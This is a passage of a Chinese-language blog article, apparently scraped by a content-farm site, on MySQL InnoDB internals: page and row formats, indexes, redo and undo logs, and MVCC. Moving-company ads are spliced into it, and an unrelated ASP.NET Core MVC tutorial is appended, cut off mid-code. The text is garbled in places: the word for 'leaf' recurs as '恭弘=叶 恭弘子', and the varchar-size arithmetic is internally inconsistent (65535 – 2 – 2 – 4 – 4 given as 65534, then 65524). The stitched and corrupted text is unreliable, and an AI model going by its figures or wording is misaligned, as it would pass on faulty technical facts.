innodb_undo_tablespaces 配置選項控制undo表空間的數量。

3.5.5、臨時表空間

由用戶創建的非壓縮臨時表和磁盤內部臨時表是在共享臨時表空間中創建的。

innodb_temp_data_file_path 配置選項指定零時表空間文件的路徑，如果未指定，則默認在 innodb_data_home_dir目錄中創建一個略大於12MB 的自動擴展數據文件ibtmp1 。

使用ROW_FORMAT=COMPRESSED屬性創建的壓縮臨時表，是在獨立表空間中的臨時文件目錄中創建的 。

服務啟動的時候創建臨時表空間，關閉的時候銷毀臨時表空間。如果臨時表空間創建失敗，則意味着服務啟動失敗。

3.6、InnoDB底層邏輯存儲結構

在介紹索引之前，我們有必要了解一下InnoDB底層的邏輯存儲結構，因為索引是基於這個底層邏輯存儲結構創建的。截止到目前，我們所展示的都僅僅是物理磁盤中的邏輯視圖，接下來我們就來看看底層的視圖。

3.6.1、ibd文件組織結構

現在我們打開一個表空間ibd文件，看看裏面都是如何組織數據的？

如下圖，表空間由段(segment)、區(extent)、頁(page)組成。

InnoDB最小的存儲單位是頁，默認每個頁大小是16k。

而InnoDB存儲引擎是面向行的(row-oriented)，數據按行進行存放，每個頁規定最多允許存放的行數=16k/2 – 200，即7992行。

段：如數據段、索引段、回滾段等。InnoDB存儲引擎是B+樹索引組織的，所以數據即索引，索引即數據。B+樹的恭弘=叶 恭弘子節點存儲的都是數據段的數據。

3.6.2、數據頁結構^[14]

名稱	佔用空間	描述
Fil Header	38 byte	頁的基本信息，如所屬表空間，上一頁和下一頁指針。
Page Header	56 byte	數據頁專有的相關信息
Infimun + Supremum	26 byte	兩個虛擬的行記錄，用於限定記錄的邊界
User Records	動態分配	實際存儲的行記錄內容
Free Space	動態調整	尚未使用的頁空間
Page Directory	動態調整	頁中某些記錄的相對位置
Fil Trailer	8 byte	校驗頁是否完整

關於Infimun和Supremum：首次創建索引時，InnoDB會在根頁面中自動設置一個最小記錄和一個最高記錄，並且永遠不會刪除它們。最低記錄和最高記錄可以視為索引頁開銷的一部分。最初，它們都存在於根頁面上，但是隨着索引的增長，最低記錄將存在於第一或最低恭弘=叶 恭弘子頁上，最高記錄將出現在最後或最大關鍵字頁上。

3.6.3、行記錄結構描述^[15]

先來講講Compact行記錄格式，Compact是MySQL5.0引入的，設計目標是高效的存儲數據，讓一個頁能夠存放更多的數據，從而實現更快的B+樹查找。

名稱	描述
變長字段長度列表	字段大小最多用2個字節表示，也就是最多限制長度：2^16=65535個字節；字段大小小於255字節，則用1個字節表示；
NULL標誌位	記錄該行哪些位置的字段是null值
記錄頭信息	記錄頭信息信息，固定佔用5個字節
列1數據	實際的列數據，NULL不佔用該部分的空間
列2數據
…

記錄頭用於將連續的記錄鏈接在一起，並用於行級鎖定。

每行數據除了用戶定義的列外，還有兩個隱藏列：

• 6個字節的事務ID列；
• 7個字節的回滾指針列；
• 如果InnoDB沒有指定主鍵，還會增加一個6個字節的rowid列；

而記錄頭信息包^[16]含如下內容：

名稱	大小(bit)	描述
()	1	未知
()	1	未知
deleted_flag	1	該行是否已被刪除
min_rec_flag	1	如果該記錄是預定義的最小記錄，則為1
n_owned	4	該記錄擁有的記錄數
heap_no	13	索引堆中該條記錄的排序號
record_type	3	記錄類型：000 普通，001 B+樹節點指針，010 Infimum，011 Supremum，1xx 保留
next_record	16	指向頁中下一條記錄

更詳細的頁結構參考官網：22.2 InnoDB Page Structure

更詳細的行結構參考官網：22.1 InnoDB Record Structure

更詳細的行格式參考官網：14.11 InnoDB Row Formats

根據以上格式，可以得出數據頁內的記錄組織方式：

3.6.3.1、MySQL中varchar最大長度是多少

上面表格描述我們知道，一個字段最長限制是65535個字節，這是存儲長度的限制。

而MySQL中對存儲是有限制的，具體參考：8.4.7 Limits on Table Column Count and Row Size

• MySQL對每個表有4096列的硬限制，但是對於給定的表，有效最大值可能會更少；
• MySQL表的每行行最大限製為65,535字節，這是邏輯的限制；實際存儲的時候，表的物理最大行大小略小於頁面的一半。如果一行的長度少於一頁的一半，則所有行都將存儲在本地頁面內。如果它超過一頁的一半，那麼將選擇可變長度列用於外部頁外存儲，直到該行大小控制在半頁之內為止。

而實際能夠存儲的字符是跟編碼有關的。

背景知識：

• MySQL 4.0版本以下，varchar(10)，代表10個字節，如果存放UTF8漢字，那麼只能存3個（每個漢字3字節）；

• MySQL 5.0版本以上，varchar(10)，指的是10個字符，無論存放的是数字、字母還是UTF8漢字（每個漢字3字節），都可以存放10個，最大大小是65532字節；

因此，Mysql5根據編碼不同,存儲大小也不同。

那麼假設我們使用的是utf8編碼，那麼每個字符最多佔用3個字節，也就是最多定義varchar(21845)個字符，如果是ascii編碼，一個字符相當於一個字節，最多定義varchar(65535)個字符，下面我們驗證下。

我們嘗試創建一個這樣的字段：

CREATE TABLE `t10` ( `id` int(11) NOT NULL,
                  `a` int(11) NOT NULL,
                  PRIMARY KEY (`id`)
                 ) ENGINE=InnoDB CHARSET=ascii ROW_FORMAT=Compact;


alter table t10 add `str` varchar(21845) DEFAULT NULL;

alter table t10 add `str` varchar(65535) DEFAULT NULL;

發現提示這個錯誤：

mysql> alter table t10 add `str` varchar(65535) DEFAULT NULL;
ERROR 1118 (42000): Row size too large. The maximum row size for the used table type, not counting BLOBs, is 65535. This includes storage overhead, check the manual. You have to change some columns to TEXT or BLOBs

原因是按照以上的行格式介紹，變長字段長度列表記錄也需要佔用空間，佔用2個字節，另外這裡是允許為空字段，在8位之內，所以NULL標誌位佔用1個字節，所以我們總共可以存儲的字符數是：

65535 – 2 – 2 – 4 – 4=65534

其中 -2 個字節表示變長字段列表，-1表示NULL標誌位，兩個-4表示兩個int類型字段佔用大小

所以實際上能夠容納的varchar大小為：65524，我們驗證下：

3.6.3.2、行記錄超過頁大小如何存儲

MySQL表的內部表示具有65,535字節的最大行大小限制。InnoDB 對於4KB，8KB，16KB和32KB innodb_page_size 設置，表的最大行大小（適用於本地存儲在數據庫頁面內的數據）略小於頁面的一半 。如果包含 可變長度列的InnoDB 行超過最大行大小，那麼將選擇可變長度列用於外部頁外存儲。

可變長度列由於太長而無法容納在B樹頁面上，這個時候會把可變長度列存儲在單獨分配的磁盤頁面上，這些頁面稱為溢出頁面，這些列稱為頁外列。頁外列的值存儲在由溢出頁面構成的單鏈接列表中。

InnoDB存儲引擎支持四種行格式：REDUNDANT，COMPACT， DYNAMIC，和COMPRESSED。不同的行格式，對溢出的閾值和處理方式有所區別，詳細參考：14.11 InnoDB Row Formats。

COMPACT行格式處理方式

使用COMPACT行格式的表將前768個字節的變長列值（VARCHAR， VARBINARY和 BLOB和 TEXT類型）存儲在B樹節點內的索引記錄中，其餘的存儲在溢出頁上。

※台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

台中搬家公司推薦超過30年經驗,首選台中大展搬家

如果列的值等於或小於768個字節，則不使用溢出頁，因此可以節省一些I / O。

如果查過了768個字節，那麼會按照如下方式進行存儲：

DYNAMIC行格式處理方式

DYNAMIC行格式提供與COMPACT行格式相同的存儲特性，但改進了超長可變長度列的存儲能力和支持大索引鍵前綴。

InnoDB 可以完全在頁外存儲過長的可變長度列值（針對 VARCHAR， VARBINARY和 BLOB和 TEXT類型），而聚集索引記錄僅包含指向溢出頁的20字節指針。大於或等於768字節的固定長度字段被編碼為可變長度字段。

表中大字段引發的問題

如果一個表中有過多的可變長度大字段，導致一行記錄太長，而整個時候使用的是COMPACT行格式，那麼就可能會插入數據報錯。

如，頁面大小事16k，根據前面描述我們知道，MySQL限制一頁最少要存儲兩行數據，如果很多可變長度大字段，在使用COMPACT的情況下，仍然會把大字段的前面768個字節存在索引頁中，可以算出最多支持的大字段：1024 * 16 / 2 / 768 = 10.67，那麼超過10個可變長度大字段就會插入失敗了。

這個時候可以把row format改為：DYNAMIC。

3.7、索引

前面我們了解了InnoDB底層的存儲結構，即：以B+樹的方式組織數據頁。另外了解了數據頁中的數據行的存儲方式。

而構建B+樹索引的時候必須要選定一個或者多個字段作為索引的值，如果索引選擇的是主鍵，那麼我們就稱為聚集索引，否則就是二級索引。

為什麼MySQL使用B+樹？

• 哈希表雖然可以提供O(1)的單行數據操作性能，但卻不能很好的支持排序和範圍查找，會導致全表掃描；
• B樹可以再非恭弘=叶 恭弘子節點存儲數據，但是這可能會導致查詢連續數據的時候增加更多的I/O操作；
• 而B+樹數據都存放在恭弘=叶 恭弘子節點，恭弘=叶 恭弘子節點通過指針相互連接，可以減少順序遍歷時產生的額外隨機I/O

更新詳細解釋: 為什麼 MySQL 使用 B+ 樹^[17]

3.7.1、聚集索引

了解到上面的底層邏輯存儲結構之後，我們進一步來看看InnoDB是怎麼通過B+樹來組織存儲數據的。

首先來介紹下聚集索引。

聚集索引

主鍵索引的InnoDB術語。

下面我們創建一張測試表，並插入數據，來構造一顆B+樹：

CREATE TABLE t20 (
id int NOT NULL,
a int NOT NULL,
b int,
c int,
PRIMARY KEY (`id`)
) ENGINE=InnoDB;

insert into t20 values(20, 1, 2, 1);
insert into t20 values(40, 1, 2, 5);
insert into t20 values(30, 3, 2, 4);
insert into t20 values(50, 3, 6, 2);
insert into t20 values(10, 1, 1, 1);

可以看到，雖然我們是id亂序插入的，但是插入之後查出來的確是排序好的：

這個排序就是B+索引樹構建的。

我們可以通過這個在線的動態演示工具來看看B+樹的構造過程，最終結果如下：

實際存放在數據庫中的模型因頁面大小不一樣而有所不同，這裏為了簡化模型，我們按照B+樹的通用模型來解釋數據的存儲結構。

類似的，我們的數據也是這種組織形式的，該B+樹中，我們以主鍵為索引進行構建，並且把完整的記錄存到對應的頁下面：

其中藍色的是索引頁，橙色的是數據頁。

每個頁的大小默認為16k，如果插入新的數據行，這個時候就要申請新的數據頁了，然後挪動部分數據過去，重新調整B+樹，這個過程稱為頁分裂，這個過程會影響性能。

相反的，如果InnoDB索引頁的填充因子下降到之下MERGE_THRESHOLD，默認情況下為50％（如果未指定），則InnoDB嘗試收縮索引樹以釋放頁面。

自增主鍵的插入是遞增順序插入的，每次添加記錄都是追加的，不涉及到記錄的挪動，不會觸發恭弘=叶 恭弘子節點的分裂，而一般業務字段做主鍵，往往都不是有序插入的，寫成本比較高，所以我們更傾向於使用自增字段作為主鍵。

聚集索引注意事項

• 當在表上面定義了PRIMARY KEY之後，InnoDB會把它作為聚集索引。為此，為你的每個表定義一個PRIMARY KEY。如果沒有唯一併且非空的字段或者一組列，那麼請添加一個自增列；
• 如果您沒有為表定義PRIMARY KEY，則MySQL會找到第一個不帶null值的UNIQUE索引，並其用作聚集索引；
• 如果表沒有PRIMARY KEY或沒有合適的UNIQUE索引，則InnoDB 內部會生成一個隱藏的聚集索引GEN_CLUST_INDEX，作為行ID，行ID是一個6字節的字段，隨着數據的插入而自增。

聚集索引查找

根據索引進行查找id=50的記錄，如下圖，沿着B+樹一直往下尋找，最終找到第四頁，然後把該頁加載到buffer pool中，在緩存中遍歷對比查找，由於裏面的行記錄是順序組織的，所以很快就可以定位到記錄了。

3.7.2、輔助索引

除了聚集索引之外的所有索引都稱為輔助索引(二級索引)。在InnoDB中，輔助索引中每個記錄都包含該行的主鍵列以及為輔助索引指定的列。

在輔助索引中查找到記錄，可以得到記錄的主鍵索引ID，然後可以通過這個主鍵索引ID去聚集索引中搜索具體的記錄，這個過程稱為回表操作。

如果主鍵較長，則輔助索引將使用更多空間，因此具有短的主鍵是有利的。

下面我們給剛剛的表添加一個組合聯合索引

-- 添加多一個字段
alter table t20 add column d varchar(20) not null default '';
-- 添加一個聯合索引
alter table t20 add index idx_abc(a, b, c);

添加之後組合索引B+樹如下，其中索引key為abc三個字段的組合，索引存儲的記錄為主鍵ID：

覆蓋索引(Using index)

InnoDB存儲引擎支持覆蓋索引，即從輔助索引中就可以得到查詢的記錄，而不需要回表去查詢聚集索引中的記錄，從而減少大量的IO操作。下面的查詢既是用到了覆蓋索引 idx_abc：

select a, b from t20 where a > 2;

執行結果如下：

可以發現，Extra這一列提示Using index，使用到了覆蓋索引，掃描的行數為2。注意：這裏的掃描行數指的是MySQL執行器從引擎取到兩條記錄，引擎內部可能會遍歷到多條記錄進行條件比較。

最左匹配原則

由於InnoDB索引式B+樹構建的，因此可以利用索引的“最左前綴”來定位記錄。

也就是說，不僅僅是用到索引的全部定義字段會走索引，只要滿足最左前綴，就可以利用索引來加速檢索。這個最左前綴可以是聯合索引的最左n個字段。

索引條件下推(Using index condition)

索引條件下推 Index Condition Pushdown (ICP)，是針對MySQL使用索引從表中檢索行的情況的一種優化。

為什麼叫下推呢，就是在滿足要求的情況下，把索引的條件丟給存儲引擎去判斷，而不是把完整的記錄傳回MySQL Server層去判斷。

ICP支持range, ref, eq_ref, 和 ref_or_null類型的查找，支持MyISAM和InnoDB存儲引擎。

不能將引用子查詢的條件下推，觸發條件不能下推。詳細規則參考：Index Condition Pushdown

如果不使用ICP，則存儲引擎將遍歷索引以在聚集索引中定位行，並將結果返回給MySQL Server層，MySQL Server層繼續根據WHERE條件進行篩選行。

啟用ICP后，如果WHERE可以僅使用索引中的列來評估部分條件，則MySQL Server層會將這部分條件壓入WHERE條件下降到存儲引擎。然後，存儲引擎通過使用索引條目來判斷索引條件，在滿足條件的情況下，才回表去查找記錄返回給MySQL Server層。

ICP的目標是減少回表掃描的行數，從而減少I / O操作。對於InnoDB表，ICP僅用於二級索引。

使用索引下推的時候，執行計劃中的Extra會提示：Using index condition，而不是Using index，因為必須回表查詢整行數據。Using index代表使用到了覆蓋索引。

3.8、InnoDB Data Directory

InnoDB數據字典(Data Directory)存放於系統表空間中，主要包含元數據，用於追蹤表、索引、表字段等信息。由於歷史的原因，InnoDB數據字典中的元數據與.frm文件中的元數據重複了。

3.9、Doublewrite Buffer

雙寫緩衝區(Doublewrite Buffer)是一個存儲區，是InnoDB在tablespace上的128個頁（2個區），大小是2MB^[18]。

版本區別：在MySQL 8.0.20之前，doublewrite緩衝區存儲區位於InnoDB系統表空間中。從MySQL 8.0.20開始，doublewrite緩衝區存儲區位於doublewrite文件中。

本文基於MySQL 5.7編寫。

操作系統寫文件是以4KB為單位的，那麼每寫一個InnoDB的page到磁盤上，操作系統需要寫4個塊。如果寫入4個塊的過程中出現系統崩潰，那麼會導致16K的數據只有一部分寫是成功的，這種情況下就是partial page write（部分頁寫入）問題。

InnoDB這個時候是沒法通過redo log來恢復的，因為這個時候頁面的Fil Trailer（Fil Trailer 主要存放FIL_PAGE_END_LSN，主要包含頁面校驗和以及最後的事務）中的數據是有問題的。

為此，每當InnoDB將頁面寫入到數據文件中的適當位置之前，都會首先將其寫入雙寫緩衝區。只有將緩衝區安全地刷新到磁盤后，InnoDB才會將頁面寫入最終的數據文件。

如果在頁面寫入過程中發生操作系統或者mysqld進程崩潰，則InnoDB可以在崩潰恢復期間從雙寫緩衝區中找到頁面的完好副本用於恢復。恢復時，InnoDB掃描雙寫緩衝區，併為緩衝區中的每個有效頁面檢查數據文件中的頁面是否完整。

如果系統表空間文件（“ ibdata文件 ”）位於支持原子寫的Fusion-io設備上，則自動禁用雙寫緩衝，並且將Fusion-io原子寫用於所有數據文件。

3.10、Redo Log

重做日誌(Redo Log)主要適用於數據庫的崩潰恢復，用於實現數據的完整性。

重做日誌由兩部分組成：

• 重做日誌緩衝區 Log Buffer；
• 重做日誌文件，重做日誌文件在磁盤上由兩個名為ib_logfile0和ib_logfile1的物理文件表示。

為了實現數據完整性，在臟頁刷新到磁盤之前，必須先把重做日誌寫入到磁盤。除了數據頁，聚集索引、輔助索引以及Undo Log都需要記錄重做日誌。

3.10.1、Redo Log在事務中的寫入時機

在事務中，除了寫Redo log，還需要寫binlog，為此，我們先來簡單介紹下binlog。

3.10.1.1、binlog

全寫：Binary Log，二進制log。二進制日誌是一組日誌文件。其中包含有關對MySQL服務器實例進行的數據修改的信息。

Redo Log是InnoDB引擎特有的，而binlog是MySQL的Server層實現的，所有引擎都可以使用。

Redo Log的文件是循環寫的，空間會用完，binlog日誌是追加寫的，不會覆蓋以前的日誌。

binlog主要的目的：

• 主從同步，主服務器將二進制日誌中包含的事件發送到從服務器，從服務器執行這些事件，以保持和主服務器相同的數據更改；
• 某些數據恢復操作需要使用二進制日誌，還原到某一個備份點。

binlog主要是用於主從同步和數據恢復，Redo Log主要是用於實現事務數據的完整性，讓InnoDB具有不會丟失數據的能力，又稱為crash-safe。

binlog日誌的兩種記錄形式：

• 基於SQL的日誌記錄：事件包含產生數據更改(插入，新增，刪除)的SQL語句；
• 基於行的日誌記錄：時間描述對單個行的更改。

混合日誌記錄默認情況下使用基於語句的日誌記錄，但根據需要自動切換到基於行的日誌記錄。

3.10.1.2、Redo Log在事務中的寫入時機

簡單的介紹完binlog，我們再來看看Redo Log的寫入流程。

假設我們這裏執行一條sql

update t20 set a=10 where id=1;

執行流程如下：

3.10.2、如何保證數據不丟失

前面我們介紹Log Buffer的時候，提到過，為了保證數據不丟失，我們需要執行以下操作：

• 如果啟用了binlog，則設置：sync_binlog=1;
• innodb_flush_log_at_trx_commit=1;

• sync_binlog=0：表示每次提交事務都只 write，不 fsync；
• sync_binlog=1：表示每次提交事務都會執行 fsync；
• sync_binlog=N(N>1) ：表示每次提交事務都 write，但累積 N 個事務后才 fsync。

這兩個的作用相當於在上面的流程最後一步，提交事務接口返回Server層之前，把binlog cache和log buffer都fsync到磁盤中了，這樣就保證了數據的落盤，不會丟失，即使奔潰了，也可以通過binlog和redo log恢複數據相關流程如下：

在磁盤和內存中的處理流程如下面編號所示：

其中第四步log buffer持久化到磁盤的時機為：

• log buffer佔用的空間即將達到innodb_log_buffer_size一半的時候，後台線程主動寫盤；
• InnoDB後台有個線程，每隔1秒會把log buffer刷到磁盤；
• 由於log buffer是所有線程共享的，當其他事務線程提交時也會導致已寫入log buffer但還未提交的事務的redo log一起刷新到磁盤

其中第五步：臟頁刷新到磁盤的時機為：

• 系統內存不足，需要淘汰臟頁的時候，要把臟頁同步回磁盤；
• MySQL空閑的時候；
• MySQL正常關閉的時候，會把臟頁flush到磁盤。

參數innodb_max_dirty_pages_pct是臟頁比例上限，默認值是 75%。

為什麼第二步 redo log prepare狀態也要寫磁盤？

因為這裏先寫了，才能確保在把binlog寫到磁盤后崩潰，能夠恢複數據：如果判斷到redo log是prepare狀態，那麼查看是否存XID對應的binlog，如果存在，則表示事務成功提交，需要用prepare狀態的redo log進行恢復。

這樣即使崩潰了，也可以通過redo log來進行恢復了，恢複流程如下：

Redo Log是循環寫的，如下圖:

• writepos記錄了當前寫的位置，一邊寫位置一邊往前推進，當writepos與checkpoint重疊的時候就表示logfile寫滿了，綠色部分表示是空閑的空間，紅色部分是寫了redo log的空間；
• checkpoint處標識了當前的LSN，每當系統崩潰重啟，都會從當前checkpoint這個位置執行重做日誌，根據重做日誌逐個確認數據頁是否沒問題，有問題就通過redo log進行修復。

LSN Log Sequence Number的縮寫。代表日誌序列號。在InnoDB中，LSN佔用8個字節，單調遞增，LSN的含義：

• 重做日誌寫入的總量；
• checkpoint的位置；
• 頁的版本；

除了重做日誌中有LSN，每個頁的頭部也是有存儲了該頁的LSN，我們前面介紹頁面格式的時候有介紹過。

在頁中LSN表示該頁最後刷新時LSN的大小。^[19]

3.11、Undo Logs

上面說的redo log記錄了事務的行為，可以通過其對頁進行重做操作，但是食物有時候需要進行回滾，這時候就需要undo log了。^[20]

關於Undo Log的存儲：InnoDB中有回滾段(rollback segment)，每個回滾段記錄1024個undo log segment，在每個undo log segment段中進行申請undo頁。系統表空間偏移量為5的頁記錄了所有的rollback segment header所在的頁。

3.11.1、undo log的格式

根據行為不同分為兩種：

insert undo log

insert undo log：只對事務本身可見，所以insert undo log在事務提交后可直接刪除，無需執行purge操作；

insert undo log主要記錄了：

next	記錄下一個undo log的位置
type_cmpl	undo的類型：insert or update
*undo_no	記錄事務的ID
*table_id	記錄表對象
*len1, col1	記錄列和值
*len2, col2	記錄列和值
…	…
start	記錄undo log的開始位置

假設在事務1001中，執行以下sql，t20的table_id為10：

insert into t20(id, a, b, c, d) values(12, 2, 3, 1, "init")

那麼對應會生成一條undo log：

update undo log

update undo log：執行update或者delete會產生undo log，會影響已存在的記錄，為了實現MVCC(後邊介紹)，update undo log不能再事務提交時立刻刪除，需要將事務提交時放入到history list上，等待purge線程進行最後的刪除操作。

update undo log主要記錄了：

next	記錄下一個undo log的位置
type_cmpl	undo的類型：insert or update
*undo_no	undo日誌編號
*table_id	記錄表對象
info_bits
*DATA_TRX_ID	事務的ID
*DATA_ROLL_PTR	回滾指針
*len1, i_col1	n_unique_index
*len2, i_col2
…
n_update_fields	以下是update vector信息，表示update操作導致發送改變的列
*pos1, *len1, u_old_col1
*pos2, *len2, u_old_col2
…
n_bytes_below
*pos, *len, col1
*pos, *len, col2
…
start	記錄undo log的開始位置

假設在事務1002中，執行以下sql，t20的table_id為10：

update t20 set d="update1" where id=60;

那麼對應會生成一條undo log：

如上圖，每回退應用一個undo log，就回退一個版本，這就是MVCC(Multi versioning concurrency control)的實現原理。

下面我們在執行一個delete sql：

delete from t20 where id=60;

對應的undo log變為如下：

如上圖，實際的行記錄不會立刻刪除，而是在行記錄頭信息記錄了一個deleted_flag標誌位。最終會在purge線程purge undo log的時候進行實際的刪除操作，這個時候undo log也會清理掉。

3.11.2、MVCC實現原理

如上圖所示，MySQL只會有一個行記錄，但是會把每次執行的sql導致行記錄的變動，通過undo log的形式記錄起來，undo log通過回滾指針連接在一起，這樣我們想回溯某一個版本的時候，就可以應用undo log，回到對應的版本視圖了。

我們知道InnoDB是支持RC(Read Commit)和RR(Repeatable Read)事務隔離級別的，而這個是通過一致性視圖(consistent read view)實現的。

一個事務開啟瞬間，所有活躍的事務(未提交)構成了一個視圖數組，InnoDB就是通過這個視圖數組來判斷行數據是否需要undo到指定的版本：

RR事務隔離級別

假設我們使用了RR事務隔離級別。我們看個例子：

如下圖，假設id=60的記錄a=1

事務C啟動的瞬間，活躍的事務如下圖黃色部分所示：

也就是對於事務A、事務B、事務C，他們能夠看到的數據只有是行記錄中的最大事務IDDATA_TRX_ID<=11的，如果大於，那麼只能通過undo進行回滾了。如果TRX_ID=當前事務id，也可以看到，即看到自己的改動。

另外有一個需要注意的：

• 在RR隔離級別下，當事務更新事務的時候，只能用當前讀來獲取最新的版本數據來更新，如果當前記錄的行鎖被其他事務佔用，就需要進入所等待；
• 在RC隔離級別下，每個語句執行都會計算出新的一致性視圖。

所以我們分析上面的例子的執行流程：

• 事務C執行update，執行當前讀，拿到的a=1，然後+1，最終a=2，同時添加一個TRX_ID=11的undo log；
• 事務B執行select，使用快照讀，記錄的DATA_TRX_ID > 11，所以需要通過undo log回滾到DATA_TRX_ID=11的版本，所以拿到的a是1；
• 事務B執行update，需要使用當前讀，拿到最新的記錄，a=2，然後加1，最終a=3；
• 事務B執行select，拿到當前最新的版本，為自己的事務id，所以得到a=3；
• 事務A執行select，使用快照讀，記錄的DATA_TRX_ID > 11，所以需要通過undo log回滾到DATA_TRX_ID=11的版本，所以拿到的a是1。
• 如果是RC隔離級別，執行select的時候會計算出新的視圖，新的視圖能夠看到的最大事務ID=14，由於事務B還沒提交，事務C提交了，所以可以得到a=2：

總結

• 數據完整性依靠：redo log
• 事務隔離級別的實現依靠MVCC，MVCC依靠undo log實現
• IO性能提升方式：buffer pool加快查詢效率和普通索引更新的效率，log buffer對日誌寫的性能提升
• 查詢性能提升依賴於索引，底層用頁存儲，字段越小頁存儲越多行記錄，查詢效率越快；自增字段作為聚集索引可以加快插入操作；
• 故障恢復：雙寫緩衝區、redo log
• 主從同步：binlog

本文內容比較多，看完之後需要多梳理，最後大家可以對照着這個思維導圖回憶一下，這些內容是否都記住了：

這篇文章的內容就差不多介紹到這裏了，能夠閱讀到這裏的朋友真的是很有耐心，為你點個贊。

本文為arthinking基於相關技術資料和官方文檔撰寫而成，確保內容的準確性，如果你發現了有何錯漏之處，煩請高抬貴手幫忙指正，萬分感激。

大家可以關注我的博客：itzhai.com 獲取更多文章，我將持續更新後端相關技術，涉及JVM、Java基礎、架構設計、網絡編程、數據結構、數據庫、算法、併發編程、分佈式系統等相關內容。

如果您覺得讀完本文有所收穫的話，可以關注我的賬號，或者點贊吧，碼字不易，您的支持就是我寫作的最大動力，再次感謝！

關注我的公眾號，及時獲取最新的文章。

更多文章

• JVM系列專題：公眾號發送 JVM

本文作者： arthinking

博客鏈接： https://www.itzhai.com/database/insight-into-the-underlying-architecture-of-mysql-buffer-and-disk.html

洞悉MySQL底層架構：遊走在緩衝與磁盤之間

版權聲明： BY-NC-SA許可協議：創作不易，如需轉載，請聯繫作者，謝謝！

References

1. innodb_data_home_dir. Retrieved from https://dev.mysql.com/doc/refman/5.7/en/innodb-parameters.html#sysvar_innodb_data_home_dir ↩︎

2. ib_buffer_pool. Retrieved from https://dev.mysql.com/doc/refman/5.6/en/innodb-preload-buffer-pool.html ↩︎

3. ib_logfile0. Retrieved from https://dev.mysql.com/doc/refman/5.7/en/innodb-redo-log.html ↩︎

4. ibtmp1. Retrieved from https://dev.mysql.com/doc/refman/5.7/en/innodb-temporary-tablespace.html ↩︎

5. db.opt. Retrieved from https://dev.mysql.com/doc/refman/8.0/en/data-dictionary-file-removal.html ↩︎

6. Linux Programmer’s Manual – OPEN(2). (2020-02-09). Retrieved from http://man7.org/linux/man-pages/man2/open.2.html ↩︎

7. man-pages.write. (2019-10-10). Retrieved from http://man7.org/linux/man-pages/man2/write.2.html ↩︎

8. man-pages.fdatasync. (2019-03-06). Retrieved from http://man7.org/linux/man-pages/man2/fdatasync.2.html ↩︎

9. On Disk IO, Part 1: Flavors of IO. medium.com. Retrieved from https://medium.com/databasss/on-disk-io-part-1-flavours-of-io-8e1ace1de017 ↩︎

10. Innodb calls fsync for writes with innodb_flush_method=O_DIRECT. Retrieved from https://bugs.mysql.com/bug.php?id=45892 ↩︎

11. 14.6.3.3 General Tablespaces. Retrieved from https://dev.mysql.com/doc/refman/5.7/en/general-tablespaces.html ↩︎

12. MYSQL INNODB表壓縮. (2018-03-09). Retrieved from https://cloud.tencent.com/developer/article/1056453 ↩︎

13. 前綴索引，一種優化索引大小的解決方案. (2015-03-03). Retrieved from https://www.cnblogs.com/studyzy/p/4310653.html ↩︎

14. MySQL Internals Manual – innodb page structure[EB/OL]. (2020-05-04). Retrieved 2020-0530, from https://dev.mysql.com/doc/internals/en/innodb-page-structure.html ↩︎

15. official.MySQL Internals Manual – innodb record structure[EB/OL]. (2020-05-04). Retrieved 2020-0530, from https://dev.mysql.com/doc/internals/en/innodb-record-structure.html ↩︎

16. 姜承堯. MySQL技術內幕-InnoDB存儲引擎第二版[M]. 机械工業出版社, 2013-5:104. ↩︎

17. 為什麼 MySQL 使用 B+ 樹. draveness.me. (2019-12-11). Retrieved from https://draveness.me/whys-the-design-mysql-b-plus-tree/ ↩︎

18. InnoDB DoubleWrite Buffer as Read Cache using SSDs∗. Retrieved from https://www.usenix.org/legacy/events/fast12/poster_descriptions/Kangdescription2-12-12.pdf ↩︎

19. 姜承堯. MySQL技術內幕-InnoDB存儲引擎第二版[M]. 机械工業出版社, 2013-5:302-303. ↩︎

20. 姜承堯. MySQL技術內幕-InnoDB存儲引擎第二版[M]. 机械工業出版社, 2013-5:306. ↩︎

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※台中搬家公司費用怎麼算?

擁有20年純熟搬遷經驗，提供免費估價且流程透明更是5星評價的搬家公司

※台中搬家公司教你幾個打包小技巧,輕鬆整理裝箱!

還在煩惱搬家費用要多少哪？台中大展搬家線上試算搬家費用，從此不再擔心「物品怎麼計費」、「多少車才能裝完」

0.前言

在之前的幾篇中，我們大概介紹了如何創建一個asp.net core mvc項目以及http請求如何被路由轉交給對應的執行單元。這一篇我們將介紹一下控制器與視圖直接的關係。

1. 視圖

這裏的視圖不是數據庫里的視圖，是一種展示技術。在asp.net core mvc項目中視圖是指以cshtml做擴展名的文件，通常在Views文件夾。

那麼現在我們進到之前創建的測試項目 MvcWeb的Views目錄下，如果小夥伴們沒有做修改的話，能看到如下的目錄結構：

├── Home
│   ├── Index.cshtml
│   └── Privacy.cshtml
├── Shared
│   ├── Error.cshtml
│   ├── _Layout.cshtml
│   └── _ValidationScriptsPartial.cshtml
├── _ViewImports.cshtml
└── _ViewStart.cshtml

在Views根目錄下，有兩個文件分別是：_ViewImports.cshtml 、 _ViewStart.cshtml 兩個文件（注意，有個前置下劃線）。

1.1 在視圖中引用命名空間

我們知道，在cshtml文件中，雖然極大的減少了服務器代碼，但是有時候無法避免的使用一些C#代碼。那麼就會產生一個問題，很多類都有自己的命名空間，如果我們在某個或某幾個或某些視圖中需要訪問這些類和方法，那麼一個視圖一個視圖的寫引用有點不太現實，因為這太繁瑣了。

所以asp.net core mvc 設置了在名為_ViewImports.cshtml的文件中添加引用，則在Views下所有視圖中都生效。那麼，先來看看這個文件里有啥吧：

@using MvcWeb
@using MvcWeb.Models
@addTagHelper *, Microsoft.AspNetCore.Mvc.TagHelpers

可以看到，這裏引用了項目的命名空間和項目下Modes命名空間的所有內容。因為我們之前創建的測試項目名稱就是 MvcWeb。

最後一行是一個 cshtml標記引用，第一個星號表示當前項目的所有TagHelper實現都引用，後面的表示引入aps.net core mvc內置的TagHelper。

關於 TagHelper，這篇就先不介紹了。

1.2 ViewsStart

_ViewStart.cshtml 作用從名字中可見一二，這個文件用來配置一些在視圖剛開始加載時的一些配置內容。先看一下，默認的裏面是什麼吧：

@{
    Layout = "_Layout";
}

先做個介紹，@符號後面用一對大括號包裹，裏面是C# 代碼。也就是說 Layout = "_Layout"，這行的意思是給某個名為Layout的屬性設置值為_Layout。

那麼，Layout的屬性是哪裡的呢？

對於asp.net core mvc而言，一個視圖也是一個類只不過這個類是動態生成的，不是一個由程序員編寫出來的類，但是這個類繼承自：

namespace Microsoft.AspNetCore.Mvc.Razor
{
    public abstract class RazorPageBase : IRazorPage
